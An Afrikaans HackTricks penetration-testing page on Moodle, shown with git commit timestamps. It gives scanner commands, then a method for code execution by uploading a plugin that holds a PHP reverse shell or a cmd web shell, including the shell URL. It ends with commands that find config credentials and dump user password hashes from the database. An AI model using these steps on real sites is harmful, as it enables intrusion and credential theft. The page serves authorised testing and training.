hacktricks/network-services-pentesting/pentesting-web/moodle.md

150 lines
6.8 KiB
Markdown
Raw Normal View History

2022-05-24 00:07:19 +00:00
# Moodle
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:24:39 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-05-24 00:07:19 +00:00
**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings te verdien tot **$100,000**!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
## Outomatiese Skanderings
2021-04-05 22:03:17 +00:00
2022-05-24 00:07:19 +00:00
### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
2024-02-11 02:07:06 +00:00
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
2024-02-11 02:07:06 +00:00
3.10.0-beta
[+] Possible interesting urls found:
2024-02-11 02:07:06 +00:00
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
```
2022-05-24 00:07:19 +00:00
### moodlescan
#### Oorsig
2024-02-11 02:07:06 +00:00
Die **moodlescan**-hulpprogram skandeer 'n Moodle-webwerf vir bekende kwesbaarhede en swakhede. Dit kan help om potensiële aanvalsvlakke te identifiseer wat 'n aanvaller kan misbruik om toegang te verkry tot die webwerf.
2024-02-11 02:07:06 +00:00
#### Gebruik
2024-02-11 02:07:06 +00:00
Voer die volgende opdrag uit om **moodlescan** te hardloop:
2024-02-11 02:07:06 +00:00
```bash
moodlescan <target>
2024-02-11 02:07:06 +00:00
```
- **target**: Die teiken Moodle-webwerf se URL.
2024-02-11 02:07:06 +00:00
#### Uitset
2024-02-11 02:07:06 +00:00
Die uitset van **moodlescan** sal 'n lys van moontlike kwesbaarhede en swakhede op die Moodle-webwerf toon. Dit kan insluitings van bekende kwesbaarhede, blootgestelde gevoelige inligting, of ander potensiële risiko's vir die webwerf.
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
2024-02-11 02:07:06 +00:00
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
```
2022-05-24 00:07:19 +00:00
### CMSMap
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```
2024-02-11 02:07:06 +00:00
### CVE's
Ek het gevind dat die outomatiese gereedskap nogal nutteloos is om kwesbaarhede wat die moodle weergawe affekteer, te vind. Jy kan vir hulle **kontroleer** by [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
## **RCE**
Jy moet die **bestuurder** rol hê en jy **kan plugins installeer** binne die **"Webwerfadministrasie"** lêer\*\*:\*\*
![](<../../.gitbook/assets/image (447).png>)
As jy 'n bestuurder is, mag jy steeds hierdie opsie moet **aktiveer**. Jy kan sien hoe in die moodle privilege eskalasie PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Daarna kan jy **die volgende plugin installeer** wat die klassieke pentest-monkey php r**ev shell** bevat (_voordat jy dit oplaai, moet jy dit dekompresseer, die IP en poort van die revshell verander en dit weer komprimeer_)
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
2024-02-11 02:07:06 +00:00
Of jy kan die plugin van [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) gebruik om 'n gewone PHP shell met die "cmd" parameter te kry.
Om toegang te verkry tot die skadelike plugin moet jy toegang verkry tot:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
2022-05-24 00:07:19 +00:00
## POST
### Vind databasisgeldele
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### Stort Geldeenhede vanaf databasis
2021-04-05 22:03:17 +00:00
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
**Foutbounty wenk**: **Teken aan** vir **Intigriti**, 'n premium **foutbounty platform geskep deur hackers, vir hackers**! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) en begin om belonings te verdien tot **$100,000**!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:24:39 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>